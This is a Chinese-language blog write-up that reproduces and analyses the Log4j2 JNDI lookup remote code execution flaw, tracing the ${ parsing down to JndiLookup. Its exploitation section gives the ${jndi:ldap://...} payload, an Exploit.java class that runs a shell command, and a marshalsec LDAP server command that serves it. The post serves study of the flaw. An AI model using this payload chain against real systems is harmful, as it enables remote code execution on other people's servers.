0x01 漏洞简介
Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。
0x02 环境搭建
创建Maven项目,并将以下配置文件放在pom.xml中
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>groupId</groupId>
<artifactId>xxxx</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
</project>
在https://logging.apache.org/log4j/2.x/download.html 下载编译好的Apache Log4j jar包
最后在项目中添加log4j-core-2.14.1.jar 依赖
将项目创建好后即可添加漏洞代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://ip:1389/#Exploit}");
}
}
0x03 漏洞分析
0x1 漏洞触发
本次漏洞触发相当简单,只要使用了org/apache/logging/log4j/spi/AbstractLogger.java log进行记录,且log等级为可记录等级即可触发。
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://ip:1389/#Exploit}");
}
一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。因此也可以使用如下方式触发
logger.error("8881273asdf${jndi:ldap://ip:1389/#Exploit}aksdjfhuip8efas");
0x2 入口函数
本次漏洞的入口函数为logIfEnabled,然而如果使用了AbstractLogger.java中的debug、info、warn、error、fatal等都会触发到该函数
0x3 核心原理之匹配
该漏洞的核心原理为,在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。
替换机制采用this.config.getStrSubstitutor().replace 函数,该处理函数调用栈如下
0x4 核心原理之解析
在replace函数中存在此次漏洞的关键部分提取${}内的lookup参数。经过两层substitute调用后,相关提取代码如下
简单来说,pos为当前字符串头指针,prefixMatcher.isMatch只负责匹配 ${ 两个字符。如果匹配到就进入第二层循环匹配,原理和代码相似。如果没有匹配到}字符,pos指针就正常+1。
下面代码为匹配}字符
一旦匹配到}字符,代码就会进入第三个阶段,提取表达式的内容赋值给varNameExpr变量
那么表达式解析部分就到这里结束了。目前解析到的字符串为
jndi:ldap://127.0.0.1:1389/
0x5 核心原理之查询
在正确提取表达式内容后,log4j将会使用该内容作为lookup参数,进行正常的lookup查询。代码如下
通过调试发现interpolator类的lookup函数会以:为分隔符进行分割以获取prefix内容,笔者传入的prefix内容为jndi字符串因此this.strLookupMap获取到的类为JndiLookup类,如下图所示。
之后又通过jndiManager类进行调用,成功执行到javax/naming/InitialContext.java 原生lookup解析函数
0x04 漏洞利用
0x1 编写利用类
因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。
Exploit.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class Exploit{
public Exploit() throws IOException,InterruptedException{
String cmd="touch /tmp/xxx";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
编译代码后,开启HTTP服务
javac Exploit.java
0x2 开启ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8800/#Exploit
0x05 总结
通过复现调试该漏洞,深入了解了apache Log4j2日志记录的底层原理。关于该漏洞的利用网上还有很多姿势,整体来讲漏洞利用简单,且漏洞危害巨大,配合一些其他服务及系统有可能产生更大的影响。
参考文章
https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg
https://nosec.org/home/detail/4917.html
发表评论
您还未登录,请先登录。
登录